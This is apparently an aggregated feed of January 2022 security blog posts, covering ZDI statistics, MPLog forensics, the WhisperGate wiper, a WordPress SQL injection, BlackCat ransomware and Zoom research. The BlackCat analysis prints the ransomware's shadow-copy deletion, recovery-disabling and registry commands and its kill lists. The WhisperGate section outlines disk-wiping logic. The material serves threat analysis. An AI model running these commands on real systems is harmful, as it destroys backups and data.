There are new articles available, click to refresh the page.
Yesterday — 20 January 2022Vulnerabily Research

Threat Source Newsletter (Jan. 20, 2022)

20 January 2022 at 19:00
Newsletter compiled by Jon Munshaw.Good afternoon, Talos readers.   Even though we're nearly a month into 2022, we're still not quite ready to move on from 2021. That's why next week, we'll be going live on social media to talk about some of the top cybersecurity stories from the past...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Looking Back at the Zero Day Initiative in 2021

20 January 2022 at 17:43

Now that we’re almost through the first month of 2022, it’s a good opportunity for us to take a look back at 2021 and the accomplishments of the Zero Day Initiative throughout the year. The past year was certainly a year full of its challenges, but we also celebrated some unique achievements in our busiest year ever. In addition to publishing the highest number of advisories in the history of the program, we hit our first million-dollar Pwn2Own in April. And as if that weren’t enough, we did it again in the fall as Pwn2Own Austin also exceeded the $1,000,000 threshold.

To say these were superlative events is an understatement. In the spring edition, we saw multiple Exchange exploits demonstrated, including ProxyShell. We saw 0-click remote code execution demonstrated on Zoom messenger and a 1-click code execution on Microsoft Teams. That’s on top of the Chrome, Edge, and Safari web browsers all getting compromised, too. The fall event had its own highlights, with the Samsung Galaxy, multiple routers, NAS devices, and printers being exploited. Watching a printer rock out some AC/DC after an exploit was just a bonus.

Of course, that should not detract from the great submissions we received throughout the year. We’ve already listed our Top 5 bugs from 2021, but that barely scratches the surface of the tremendous research disclosed to ZDI this past year. And while we are always impressed with the quality of research submitted to the program, ZDI’s own researchers stepped up this year and account for 31% of all published advisories. Still, we’re super thankful for our global community of independent researchers, and we congratulate the 25 researchers to achieve reward levels in 2021. We had six people reach Platinum status, two reach Gold, 4 Silver, and 13 Bronze. The work and submissions from our community of independent researchers are key to our success, and we thank all of them for their continued trust in our program.

Our program also wouldn’t work without vendors generating and releasing fixes for the vulnerabilities we report to them. The ZDI would not be able to sustain this level of advisories – and thus, better protections for Trend Micro customers – without the contributions of researchers and vendors, and we thank them for all they do.

Let’s take a look at some of the more interesting stats from 2021.

By the Numbers

In 2021, the ZDI has published 1,604 advisories – the most ever in the history of the program. This is the second year in a row where eclipsed our previous all-time total. While it’s unlikely we’ll keep up a record-breaking pace for the third year in a row, it does speak to the overall health of the program. Here’s how that number of advisories stacks up year-over-year.  

Figure 1 - Published Advisories Year-Over-Year

Coordinated disclosure of vulnerabilities continues to be a successful venture. While 2020 saw our largest percentage of 0-day disclosures, the number declined in 2021 to be in line with our “average” number of disclosures from previous years. The 137 0-day disclosures this past year represents 8.5% of our total disclosures – down from 18.6% the year before. This is a positive trend, and we hope it continues moving forward.

Figure 2 - 0-day Disclosures Since 2005

Here’s a breakdown of advisories by vendor. The top vendors here should not be surprising, although it is interesting to see Siemens in the top 5. We purchase quite a few ICS-related bugs throughout the year, and our Pwn2Own Miami competition focuses solely on ICS and SCADA-related bugs. In all, we disclosed 586 ICS-related bugs in 2021 – roughly 36.5% of the total number of advisories published by ZDI. As far as enterprise software goes, it’s no surprise at all to see Microsoft on top of the list again this year. In fact, 19.6% of all bugs addressed by Microsoft in 2021 came through the ZDI program, and we remain a significant source of bugs reported to Adobe, Apple, and others.

Figure 3 - Advisories per vendor for 2021

We’re always looking to acquire impactful bugs and, looking at the CVSS scores for the advisories we published in 2021, we did just that. A total of 74% of these vulnerabilities were rated Critical or High severity.

Figure 4 - CVSS 3.0 Scores for Published Advisories in 2021

Here’s how that compares year-over-year going back to 2015:

Figure 5 - CVSS Scores from 2015 through 2021

As you can see, after 2018 we made a conscious effort to ensure we were acquiring vulnerabilities that have the greatest impact on our customers. We’ll continue to do that in the coming year as well. We continually work with Trend Micro customers to determine which products they have deployed in their enterprise. That helps us shape our purchasing and research directions.

When it comes to the types of bugs we’re buying, here’s a look at the top 10 Common Weakness Enumerations (CWEs) from 2021:

Figure 6 - Top 10 CWEs from 2021 Published Advisories

It’s no surprise to see two CWEs related to out-of-bounds accesses at the top of the list, nor is it surprising to see this followed by use-after-free (UAF) bugs and heap-based buffer overflow issues. In fact, the top seven CWEs are all related to memory corruption somehow. A total of 72% of the advisories we published in 2021 were related to memory corruption bugs. Clearly, we as an industry still have work to do in this area.

Looking Ahead

Moving into the new year, we anticipate staying just as busy. We currently have more than 600 bugs reported to vendors awaiting disclosure. We have Pwn2Own Miami and Pwn2Own Vancouver just on the horizon – and both will (fingers crossed) have participation on location. This year will be the 15th anniversary of Pwn2Own in Vancouver, and we’re planning some very special treats as a way to celebrate. Don’t worry if you can’t come to the contest themselves, as we’ll be streaming the events on YouTube and Twitch as they occur. If you ever wanted to attend Pwn2Own but couldn’t, you have a chance to watch them online.

In the coming year, we’re also looking to expand our program by acquiring bugs with an even bigger impact on our customers and the global community. Expect to see us purchasing more bugs in cloud-native applications, the Linux operating system, and anything else that poses a significant threat to our customer’s networks and resources. We look forward to refining our outreach and acquisition efforts by further aligning with the risks our customers are facing to ensure the bugs we squash have the biggest impact on our customers and the broader ecosystem.

In other words, 2022 is shaping up to be another exciting year with impactful research, great contests, and real information you can use. We hope you come along for the ride. Until then, be well, stay tuned to this blog, subscribe to our YouTube channel, and follow us on Twitter for the latest updates from the ZDI. 

Looking Back at the Zero Day Initiative in 2021

Mind the MPLog: Leveraging Microsoft Protection Logging for Forensic Investigations

20 January 2022 at 08:41

In an incident response investigation, CrowdStrike analysts use multiple data points to parse the facts of who, what, when and how. As part of that fact-finding mission, analysts investigating Windows systems leverage the Microsoft Protection Log (MPLog), a forensic artifact on Windows operating systems that offers a wealth of data to support forensic investigations. MPLog has proven to be beneficial in identifying process execution and file access on systems.  

To aid investigators everywhere, this blog post provides an overview of the MPLog files, offers examples of the data contained within and walks through a case study of RClone, a data exfiltration tool used by eCrime actors during ransomware attacks

What Is the MPLog?

The Microsoft Protection Log, or MPLog, is a plain-text log file generated by Windows Defender or Microsoft Security Essentials for troubleshooting purposes. This log can contain historical evidence of the following:

  • Process execution
  • Threats detected
  • Scan results and actions taken
  • Signature update versions
  • File existence

Where to Find the MPLogs

MPLog files are stored under the directory C:\ProgramData\Microsoft\Windows Defender\Support. In this directory you will find the file MPLog-*. The screenshot in Figure 1 provides an example of sample content.

Figure 1. Example MPLog location

Interpreting MPLog Data

There are several different event types present in this log file. Some examples are listed below.

Note: Log formatting for each event has changed over time, so depending on when the event was written, you may have more or fewer fields than explained below.

Estimated Impact Events

Estimated impact events are generated to log the estimated performance impact information of running software as part of Windows Defender. These events can show evidence of execution, file access and count of file access. Microsoft documentation on these events can be found here.

Example: 2020-06-14T20:11:42.880Z ProcessImageName: explorer.exe, TotalTime: 30, Count: 11, MaxTime: 15, MaxTimeFile: \Device\HarddiskVolume1\Users\Public\Desktop\PuTTY (64-bit).lnk->[CMDEmbedded], EstimatedImpact: 9%

Field Name Description Data
N/A Event time generated in UTC 2020-06-14T20:11:42.880Z
ProcessImageName Process image name explorer.exe
TotalTime The cumulative duration in milliseconds spent in scans of files accessed by this process 30
Count The number of scanned files accessed by this process 11
MaxTime The duration in milliseconds in the longest single scan of a file accessed by this process 15
MaxTimeFile The path of the file accessed by this process for which the longest scan of MaxTime duration was recorded \Device\HarddiskVolume1\Users\Public\Desktop\PuTTY (64-bit).lnk
EstimatedImpact The percentage of time spent in scans for files accessed by this process out of the period in which this process experienced scan activity 9%

Table 1: Estimated Impact Events

SDN Events

As part of Windows Defender’s cloud protection service, SDN events can show evidence of file existence on disk along with sha1 and sha2 hashes for the identified file. The following is an example of an SDN event:

Field Name Description Data
N/A File full path and name C:\ProgramData\badfile.exe
Sha1 SHA1 hash of file 876d0908145c822c06060413ecacc1baca97892c
Sha2 SHA256 hash of file 121b6ad75b3ead2a09e8bf6959423f6ce91239e0c062060aa948bb379f906534

Table 2. SDN events

Detection Events

These events can show evidence of file execution, process information and the Windows Defender street name for detection. 


  • 2021-07-22T15:38:04.557Z DETECTION_ADD Ransom:Win32/Conti.ZA file:C:\ProgramData\badfile.exe
  • 2021-07-22T15:38:04.557Z DETECTION_ADD Ransom:Win32/Conti.ZA process:pid:100128,ProcessStart:132696072639875080
Field Name Description Data
N/A Event time generated in UTC 2021-07-22T15:38:04.557Z
N/A AV street name Win32/Conti.ZA
PID Process ID 100128
ProcessStart Process start time (WebKit/Chrome Timestamp) 132696072639875080
File File full path and name C:\ProgramData\badfile.exe

Table 3. Detection events

EMS Detection Events

As part of Windows Defender’s memory scanning engine, EMS detection events can show evidence of process injection.


  • Engine:EMS scan for process: explorer pid: 6108, sigseq: 0x0, sendMemoryScanReport: 0, source: 1
  • Engine:EMS detection: HackTool:Win64/CobaltStrike.A!!CobaltStrike.A64, sigseq=0x0000C0C53E1F0B73, pid=6108
Field Name Description Data
N/A Process name explorer.exe
N/A AV street name HackTool:Win64/CobaltStrike.A!!CobaltStrike.A64
PID Process ID 6108

Table 4. EMS detection events

Rclone Case Study

In a recent ransomware incident, CrowdStrike leveraged MPLog data to gain more insight into the use of the file transfer utility Rclone, used by the threat actor for data exfiltration. MPLog data was used to identify which files the threat actor was targeting and the potential number of files exfiltrated. 

Like many ransomware incidents today, CrowdStrike identified evidence of potential data exfiltration prior to execution of the ransomware. This was evident from the presence of the Rclone utility and evidence of execution found on an encrypted system. Unfortunately, there was no telemetry from the system to say what the exact Rclone command parameters were. For those unfamiliar with Rclone, a typical command is as follows:

As seen in the sample command, the data targeted for exfiltration can be identified in the path information. Using a simple string search for the term “rclone.exe” CrowdStrike discovered the following hits in the MPLog file:

Combined with what we know about the Estimated Impact Events from Microsoft’s documentation, we can make several statements from this data: 

  1. rclone.exe executed with PID 5244
  2. rclone.exe accessed 32,873 files 
    1. Windows Defender scanned 32,873 files that rclone.exe accessed
  3. rclone.exe accessed the file \Device\Mup\fileserver\VOL1\PRIVATE\HR\PAYROLL\<redacted>.exe 
    1. This is a file that Windows Defender took the longest time to scan that rclone.exe accessed


Additional research is needed to fully understand the details and additional potential  investigative value of the MPLog, but initial analysis and research show that this data can be valuable for assisting in forensic investigations to identify process execution and file access on systems. Especially in cases where anti-forensic measures are taken or other artifacts on disk become impacted, MPLog can help investigators pick up the pieces and tell the full story.

Additional Resources

CrowdStrike Powers MXDR by Deloitte, Offering Customers Risk Mitigation with Powerful Customized and Managed Security Services

20 January 2022 at 07:01

Deloitte, a leader in managed security services, has launched MXDR by Deloitte — a Managed Extended Detection and Response suite of offerings — within which the CrowdStrike Falcon® platform will power a number of solutions.

MXDR by Deloitte combines an integrated, composable and modular managed detection and response SaaS platform with managed security services in a unified offering of advanced, military-grade threat hunting, detection, response and remediation capabilities.

The CrowdStrike Falcon platform is one of the world’s most advanced cloud-native platforms for protecting critical areas of enterprise risk, including endpoints, cloud workloads, identity and data. The CrowdStrike Falcon platform provides highly standardized, cloud-delivered, effective and easy to use SaaS solutions.

“Many of our clients have dozens — if not hundreds — of security tools in their arsenals, which can be a challenge to manage. We developed MXDR by Deloitte to help organizations consolidate into one managed services and solutions suite to help improve ease, efficiency and effectiveness in cyber program management,” said Curt Aubley, MXDR by Deloitte leader and a Deloitte Risk & Financial Advisory managing director, Deloitte & Touche LLP. “We asked CrowdStrike to be part of our MXDR offering due to their technological capabilities and open API platform — both of which enable integration into our MXDR platform and scalability that Deloitte clients demand.”

Enhance Visibility, Improve Incident Response and Lower Operational Costs

Working together, CrowdStrike’s solutions and Deloitte’s advisory services are designed to help organizations identify security gaps, prioritize risk-mitigation initiatives and help improve their risk posture. In particular, CrowdStrike technologies in MXDR by Deloitte will focus on helping clients:

  1. Increase real-time multi-platform visibility for enterprise assets across on-premises, cloud and container workloads — including the capabilities to research common vulnerabilities and exposures (CVEs), examine threat actor profiles and targets, understand all applications running in their environment, and search to see versions, hosts and users that may pose a risk
  2. Improve mean time to prevent, detect, respond and mitigate vulnerabilities in security assets and related cyberattacks
  3. Reduce business costs through proactive identification and improved response efforts to unknown cyberattacks with additional benefits of consolidation, lowered complexity and total cost of ownership

With its newly expanded MXDR suite, Deloitte has positioned the CrowdStrike Falcon platform as a core enabling technology for multiple services in the MXDR suite and is adopting multiple CrowdStrike modules to power the services.  

Current MXDR by Deloitte service offerings leveraging CrowdStrike include: 

  • Cloud Security: Prevention, Detection and Response powered by Falcon Cloud Workload protection (CWP), Falcon Horizon™ cloud security posture management and Falcon Discover™ network security monitoring
  • Enterprise Prevention, Detection and Response powered by the CrowdStrike Falcon platform
  • Zero Trust: Identity Prevention, Detection and Response powered by Falcon Identity Threat Protection and Falcon Zero Trust
  • Insider Threat Detection powered by Falcon Identity Threat Protection
  • Adversary Pursuit: Proactive Hunting powered by Falcon OverWatch™ managed threat hunting
  • Attack Surface Management (ASM) and Vulnerability Management (VM) powered by Falcon Spotlight™ scanless vulnerability and Falcon Discover network security monitoring
  • Incident Response (IR): Contain and Recover powered by the CrowdStrike Falcon platform
  • Master Operator and Hunt Training powered by Falcon Insight™ endpoint detection and response and Falcon Prevent™ next-gen antivirus

In addition to CrowdStrike, Deloitte is also leveraging complementary strategic alliances with  Amazon Web Services (AWS), Google, Zscaler, Splunk, ServiceNow and Exabeam to operationalize its MXDR suite. CrowdStrike already has robust technical integrations across the other alliances involved, bringing multi-layered defense solutions to CrowdStrike customers. CrowdStrike is also currently the only EDR vendor included in the MXDR by Deloitte program.

“Organizations are still dealing with breaches day in and day out. This alliance helps enterprises better identify, prevent and respond to cyber threats by providing risk insights and protection to help enable better business decision making, from the security operations center to the boardroom,” states Matthew Polly, VP of WW Alliances, Channels and Business Development at CrowdStrike. “These new MXDR services from Deloitte offer customers best-of-breed holistic security risk and threat management, incident response and threat intelligence services to help organizations prevent, detect and mitigate potential cyberattacks.” 

Better Together: CrowdStrike and Deloitte

CrowdStrike and Deloitte are both dedicated to delivering best-in-class security solutions for our customers globally. This strategic alliance will further enable organizations to deploy powerful solutions to combat adversaries and ultimately help stop breaches.  

Learn more about CrowdStrike’s Falcon platform here.

Additional Resources

Before yesterdayVulnerabily Research

LiveAction LiveNX AWS Credential Disclosure Vulnerability

19 January 2022 at 20:56


Several versions of LiveAction LiveNX network monitoring software contain Amazon Web Services (AWS) credentials. These credentials have privileged access to the LiveAction AWS infrastructure. A remote attacker may abuse these credentials to gain access to LiveAction internal resources.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-7d4ec9e3

Vulnerability Metrics

  • CVSSv2 Score: 10

Vendor References

  • This vulnerability has been address in LiveAction LiveNX version 21.4.0

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: July 1st, 2021
  • Disclosed to public: January 19th, 2022

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post LiveAction LiveNX AWS Credential Disclosure Vulnerability appeared first on Exodus Intelligence.

Technical Analysis of the WhisperGate Malicious Bootloader

19 January 2022 at 17:37

On Jan. 15, 2022, a set of malware dubbed WhisperGate was reported to have been deployed against Ukrainian targets. The incident is widely reported to contain three individual components deployed by the same adversary, including a malicious bootloader that corrupts detected local disks, a Discord-based downloader and a file wiper. The activity occurred at approximately the same time multiple websites belonging to the Ukrainian government were defaced.

This blog covers the malicious bootloader in more detail. 


The installer component for the bootloader has an SHA256 hash of


and contains a build timestamp of 2022-01-10 10:37:18 UTC. It was built using MinGW, similar to the file-wiper component. This component overwrites the master boot record (MBR) of an infected host with a malicious 16-bit bootloader with a SHA256 hash of


that displays a ransom note when the host boots (Figure 1) and, at the same time, performs destructive operations on the infected host’s hard drives.

Figure 1. Fake ransom note

The destructive wiping operation has the following pseudocode:

for i_disk between 0 and total_detected_disk_count do
   for i_sector between 1 and total_disk_sector_count, i_sector += 199, do
      overwrite disk i_disk at sector i_sector with hardcoded data

At periodic offsets, the bootloader overwrites sectors of an infected host’s entire hard drive, with a message similar to the ransom note, padded with additional bytes (Figure 2).

Figure 2. Hexadecimal dump of the pattern written to the disks of an infected host

The data consists of the string AAAAA, the index of the infected drive, the ransom note and the MBR footer magic value 55 AA, followed by two null bytes.

The bootloader accesses the disk via BIOS interrupt 13h in logical block addressing (LBA) mode and overwrites every 199th sector until the end of the disk is reached. After a disk is corrupted, the malware overwrites the next in the detected disk list. 

This process is unsophisticated but reminiscent of the more evolved implementation of NotPetya’s malicious MBR that masqueraded as the legitimate chkdsk disk-repair utility while actually corrupting the infected host’s file system.

The bootloader installer does not initiate a reboot of the infected system, as has been observed in past intrusions such as BadRabbit and NotPetya. The lack of forced reboot suggests the threat actor took other steps to initiate it (e.g., via a different implant) or decided to let users perform the reboot themselves. A delayed reboot may allow other components of the WhisperGate intrusion to run (e.g., the file wiper).


The WhisperGate bootloader malware complements its file-wiper counterpart. Both aim to irrevocably corrupt the infected hosts’ data and attempt to masquerade as genuine modern ransomware operations. However, the WhisperGate bootloader has no decryption or data-recovery mechanism, and has inconsistencies with malware commonly deployed in ransomware operations. 

The displayed message suggests victims can expect recovery of their data, but this is technically unachievable. These inconsistencies very likely indicate that WhisperGate activity aims to destroy data on the impacted assets. This assessment is made with moderate confidence as technical analysis of the WhisperGate activity continues.

The activity is reminiscent of VOODOO BEAR’s destructive NotPetya malware, which included a component impersonating the legitimate chkdsk utility after a reboot and corrupted the infected host’s Master File Table (MFT) — a critical component of Microsoft’s NTFS file system. However, the WhisperGate bootloader is less sophisticated, and no technical overlap could currently be identified with VOODOO BEAR operations.

CrowdStrike Intelligence Confidence Assessment 

High Confidence: Judgments are based on high-quality information from multiple sources. High confidence in the quality and quantity of source information supporting a judgment does not imply that that assessment is an absolute certainty or fact. The judgment still has a marginal probability of being inaccurate.

Moderate Confidence: Judgments are based on information that is credibly sourced and plausible, but not of sufficient quantity or corroborated sufficiently to warrant a higher level of confidence. This level of confidence is used to express that judgments carry an increased probability of being incorrect until more information is available or corroborated.

Low Confidence: Judgments are made where the credibility of the source is uncertain, the information is too fragmented or poorly corroborated enough to make solid analytic inferences, or the reliability of the source is untested. Further information is needed for corroboration of the information or to fill known intelligence gaps.

Additional Resources

CVE-2022-21661: Exposing Database Info via WordPress SQL Injection

18 January 2022 at 18:15

In October of this year, we received a report from ngocnb and khuyenn from GiaoHangTietKiem JSC covering a SQL injection vulnerability in WordPress. The bug could allow an attacker to expose data stored in a connected database. This vulnerability was recently addressed as CVE-2022-21661 (ZDI-22-220). This blog covers the root cause of the bug and looks at how the WordPress team chose to address it. First, here’s a quick video demonstrating the vulnerability:

The Vulnerability

The vulnerability occurs in the WordPress Query (WP_Query) class. The WP_Query object is used to perform custom queries to the WordPress database. This object is used by plugins and themes to create their custom display of posts. 

The vulnerability occurs when a plugin uses the vulnerable class. One such plugin is Elementor Custom Skin. For this post, we tested the vulnerability against WordPress version 5.8.1 and Elementor Custom Skin plugin version 3.1.3.

In this plugin, the vulnerable WP_Query class is utilized in the get_document_data method of ajax-pagination.php:

Figure 1- - wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

The get_document_data method is invoked when a request is sent to wp-admin/admin-ajax.php and the action parameter is ecsload.  

Figure 2 - wordpress/wp-admin/admin-ajax.php

The admin-ajax.php page checks whether the request was made by an authenticated user. If the request came from a non-authenticated user, admin-ajax.php calls a non-authenticated Ajax action. Here, the request is sent without authentication so that the non-authenticated Ajax action is called, which is wp_ajax_nopriv_ecsload.

Searching for the string “wp_ajax_nopriv_ecsload” shows that it is a hook name present in the ajax-pagination.php page:

Figure 3 - wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

The wp_ajax_nopriv_ecsload hook name refers to the get_document_data callback function. This means that the do_action method calls the get_document_data method.

The get_document_data method creates a WP_Query object. The initialization of the WP_Query object calls the following get_posts method:

Figure 4 - wordpress/wp-includes/class-wp-query.php

The get_posts method first parses the user-supplied parameters. Next, it calls the get_sql method which eventually calls get_sql_for_clause to create clauses of the SQL statement from the user-supplied data. get_sql_for_clause calls clean_query to validate the user-supplied string. However, the method fails to validate the terms parameter if the taxonomy parameter is empty and the value of the field parameter is the string “term_taxonomy_id”. The value of the terms parameter is later used in the SQL statement.

Figure 5 - wordpress/wp-includes/class-wp-tax-query.php

Note that the sql variable returned by get_sql() is appended to an SQL SELECT statement and assembled using strings returned from the WP_Tax_Query->get_sql() method. Later, in the get_posts method, this query is executed by $wpdb->get_col() method, where an SQL injection condition occurs.

This vulnerability can be exploited to read the WordPress database:

Figure 6 - PoC output

The Patch

The patch to address CVE-2022-21661 adds some additional checks to the terms parameter to help prevent further SQL injections from occurring.

Figure 7 - The clean_query method of wordpress/wp-includes/class-wp-tax-query.php


Active attacks on WordPress sites often focus on optional plugins rather than the core of WordPress itself. That was the case earlier this year when a bug in the Fancy Product Designer plugin was reported as being under active attack. Similarly, a file upload vulnerability in the Contact Form 7 plugin was also detected as being exploited by Trend Micro sensors. In this case, the bug is exposed through plugins, but exists within WordPress itself. While this is a matter of information disclosure rather than code execution, the data exposed could prove valuable for attackers. It would not surprise us to see this bug in active attacks in the near future. We recommend applying the patch or taking other remedial action as soon as possible. Special thanks to ngocnb and khuyenn from GiaoHangTietKiem JSC for reporting this to the ZDI. You can read their analysis of the bug here.

CVE-2022-21661: Exposing Database Info via WordPress SQL Injection

BlackCat Ransomware | Highly-Configurable, Rust-Driven RaaS On The Prowl For Victims

18 January 2022 at 17:40

BlackCat (aka AlphaVM, AlphaV) is a newly established RaaS (Ransomware as a Service) with payloads written in Rust. While BlackCat is not the first ransomware written in the Rust language, it joins a small (yet growing) sliver of the malware landscape making use of this popular cross-platform language.

First appearing in late November, BlackCat has reportedly been attacking targets in multiple countries, including Australia, India and the U.S, and demanding ransoms in the region of $400,000 to $3,000,000 in Bitcoin or Monero.

BlackCat Ransomware Overview

In order to attract affiliates, the authors behind BlackCat have been heavily marketing their services in well-known underground forums.

BlackCat operators maintain a victim blog as is standard these days. The blog hosts company names and any data leaked in the event that the victims do not agree to cooperate.

Current data indicates primary delivery of BlackCat is via 3rd party framework/toolset (e.g., Cobalt Strike) or via exposed (and vulnerable) applications. BlackCat currently supports both Windows and Linux operating systems.

BlackCat Configuration Options

Samples analyzed (to date ) require an “access token” to be supplied as a parameter upon execution. This is similar to threats like Egregor, and is often used as an anti-analysis tactic. This ‘feature’ exists in both the Windows and Linux versions of BlackCat.

However, the BlackCat samples we analyzed could be launched with any string supplied as the access token. For example:

Malware.exe -v --access-token 12345

The ransomware supports a visible command set, which can be obtained via the -h or --help parameters.

BlackCat command line options

As seen above, the executable payloads support a variety of commands, many of which are VMware-centric.

 --no-prop                                  Do not self propagate(worm) on Windows
 --no-prop-servers <NO_PROP_SERVERS>        Do not propagate to defined servers
 --no-vm-kill                               Do not stop VMs on ESXi
 --no-vm-snapshot-kill                      Do not wipe VMs snapshots on ESXi
 --no-wall                                  Do not update desktop wallpaper on Windows

In verbose mode (-v) the following output can be observed upon launch of the BlackCat payloads:

BlackCat ransomware run in verbose mode

BlackCat Execution and Encryption Behaviour

Immediately upon launch, the malware will attempt to validate the existence of the previously mentioned access-token, followed by querying for the system UUID (wmic).

Those pieces of data are concatenated together into what becomes the ‘Access key’ portion of their recovery URL displayed in the ransom note. In addition, on Windows devices, BlackCat attempts to delete VSS (Volume Shadow Copies) as well as enumerate any accessible drives to search for and encrypt eligible files.

Other configuration parameters are evaluated before proceeding to execute multiple privilege escalation methods, based on the OS identified by wmic earlier. These methods are visible at the time of execution and include the use of the Com Elevation Moniker.

It is at this point that BlackCat will attempt to terminate any processes or services listed within the configuration such as any processes which may inhibit the encryption process. There are also specific files and directories that are excluded from encryption. Much of this is configurable at the time of building the ransomware payloads.

The targeted processes and services are noted in the kill_processes and kill_services sections respectively. File and folder exclusions are handled in the exclude directory_names section.

To further illustrate, the following were extracted from sample ​d65a131fb2bd6d80d69fe7415dc1d1fd89290394/​74464797c5d2df81db2e06f86497b2127fda6766956f1b67b0dcea9570d8b683:


backup memtas mepocs msexchange
sql svc$ veeam vss


agntsvc dbeng50 dbsnmp encsvc
excel firefox infopath isqlplussvc
msaccess mspub mydesktopqos mydesktopservice
notepad ocautoupds ocomm ocssd
onenote oracle outlook powerpnt
sqbcoreservice sql steam synctime
tbirdconfig thebat thunderbird visio
winword wordpad xfssvccon


$recycle.bin $windows.~bt $windows.~ws 386
adv all users ani appdata
application data autorun.inf bat bin
boot boot.ini bootfont.bin bootsect.bak
cab cmd com config.msi
cpl cur default deskthemepack
diagcab diagcfg diagpkg dll
drv exclude_file_extensions:[themepack exclude_file_names:[desktop.ini exe
google hlp hta icl
icns ico iconcache.db ics
idx intel key ldf
lnk lock mod mozilla
mpa msc msi msocache
msp msstyles msu] nls
nomedia ntldr ntuser.dat ntuser.dat.log]
ntuser.ini ocx pdb perflogs
prf program files program files (x86) programdata
ps1 public rom rtp
scr shs spl sys
system volume information theme thumbs.db tor browser
windows windows.old] wpx

BlackCat also spawns a number of its own processes, with syntax (for Windows) as follows:

 WMIC.exe (CLI interpreter)   csproduct get UUID
 cmd.exe (CLI interpreter)   /c "reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f"
 cmd.exe (CLI interpreter)   /c "wmic csproduct get UUID"
 cmd.exe (fsutil.exe)        /c "fsutil behavior set SymlinkEvaluation R2L:1"
 fsutil.exe                  behavior set SymlinkEvaluation R2L:1
 cmd.exe (fsutil.exe)        /c "fsutil behavior set SymlinkEvaluation R2R:1"

The fsutil-based modifications are meant to allow for use of both remote and local symlinks. BlackCat enables ‘remote to local’ and ‘remote to remote’ capability.

 fsutil.exe                     behavior set SymlinkEvaluation R2R:1
 cmd.exe (vssadmin.exe)         /c "vssadmin.exe delete shadows /all /quiet"
 reg.exe (CLI interpreter)      add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f

 cmd.exe (worldwideStrata.exe)  /c "C:\Users\admin1\Desktop\worldwideStrata.exe" --child
 vssadmin.exe                   delete shadows /all /quietcmd.exe (ARP.EXE) /c "arp -a"

Some more recently-built copies have a few additions. For example, in sample c1187fe0eaddee995773d6c66bcb558536e9b62c/c3e5d4e62ae4eca2bfca22f8f3c8cbec12757f78107e91e85404611548e06e40 we see the addition of:

 wmic.exe Shadowcopy Delete"
 "iisreset.exe /stop"
 bcdedit.exe /set {default} recoveryenabled No

Much like other fine details, all this can be adjusted or configured by the affiliates at the time of building the payloads.

BlackCat configurations are not necessarily tailored to the target operating system. In the Linux variants we have analyzed to date, there are Windows-specific process, service, and file references in the kill_processes, kill_services, and exclude_directory_names.

The following excerpt is from sample f8c08d00ff6e8c6adb1a93cd133b19302d0b651afd73ccb54e3b6ac6c60d99c6.

Linux variant configuration

Specific encryption logic is not necessarily novel either and is somewhat configurable by the affiliate at the time of building the ransomware payloads. BlackCat supports both ChaCha20 and AES encryption schemes.

Extensions on encrypted files can vary across samples. Examples observed include .dkrpx75, .kh1ftzx and .wpzlbji.

BlackCat ransomware execution chain (Windows version)

Post-Infection, Payment and Portal

Infected clients will be greeted with a ransom note as well as a modified desktop image.

BlackCat’s modified desktop image

Infected uses are instructed to connect to the attackers’ payment portal via TOR.

BlackCat ransom note

The ransom note informs the victim that not only have files been encrypted but data has been stolen.

Victim’s are threatened with data leakage if they refuse to pay and provided with a list of data types that have been stolen.

In theory, once victims connect to the attacker’s portal, they are able to communicate and potentially acquire a decryption tool. Everything on the BlackCat portal is tied back to the specific target ID, which must be supplied correctly from the URL in the ransom note.


In its relatively short time on the radar, BlackCat has carved a notable place for itself amongst mid-tier ransomware actors. This group knows their craft and are cautious when selecting partners or affiliates. It is possible that some of the increased affiliation and activity around BlackCat is attributed to other actors migrating to BlackCat as larger platforms fizzle out (Ryuk, Conti, LockBit and REvil).

Actors utilizing BlackCat know their targets well and make every attempt to stealthily compromise enterprises. Prevention by way of powerful, modern, endpoint security controls are a must. The SentinelOne Singularity Platform is capable of detecting and preventing BlackCat infections on both Windows and Linux endpoints.

Indicators of Compromise



T1027.002 – Obfuscated Files or Information: Software Packing
T1027 – Obfuscated Files or Information
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
TA0010 – Exfiltration
T1082 – System Information Discovery
T1490 – Inhibit System Recovery
T1485 – Data Destruction
T1078 – Valid Accounts
T1486 – Data Encrypted For Impact
T1140 – Encode/Decode Files or Information
T1202 – Indirect Command Execution
T1543.003 – Create or Modify System Process: Windows Service
T1550.002 – Use Alternate Authentication Material: Pass the Hash

Zooming in on Zero-click Exploits

18 January 2022 at 17:28
By: Ryan

Posted by Natalie Silvanovich, Project Zero

Zoom is a video conferencing platform that has gained popularity throughout the pandemic. Unlike other video conferencing systems that I have investigated, where one user initiates a call that other users must immediately accept or reject, Zoom calls are typically scheduled in advance and joined via an email invitation. In the past, I hadn’t prioritized reviewing Zoom because I believed that any attack against a Zoom client would require multiple clicks from a user. However, a zero-click attack against the Windows Zoom client was recently revealed at Pwn2Own, showing that it does indeed have a fully remote attack surface. The following post details my investigation into Zoom.

This analysis resulted in two vulnerabilities being reported to Zoom. One was a buffer overflow that affected both Zoom clients and MMR servers, and one was an info leak that is only useful to attackers on MMR servers. Both of these vulnerabilities were fixed on November 24, 2021.

Zoom Attack Surface Overview

Zoom’s main feature is multi-user conference calls called meetings that support a variety of features including audio, video, screen sharing and in-call text messages. There are several ways that users can join Zoom meetings. To start, Zoom provides full-featured installable clients for many platforms, including Windows, Mac, Linux, Android and iPhone. Users can also join Zoom meetings using a browser link, but they are able to use fewer features of Zoom. Finally, users can join a meeting by dialing phone numbers provided in the invitation on a touch-tone phone, but this only allows access to the audio stream of a meeting. This research focused on the Zoom client software, as the other methods of joining calls use existing device features.

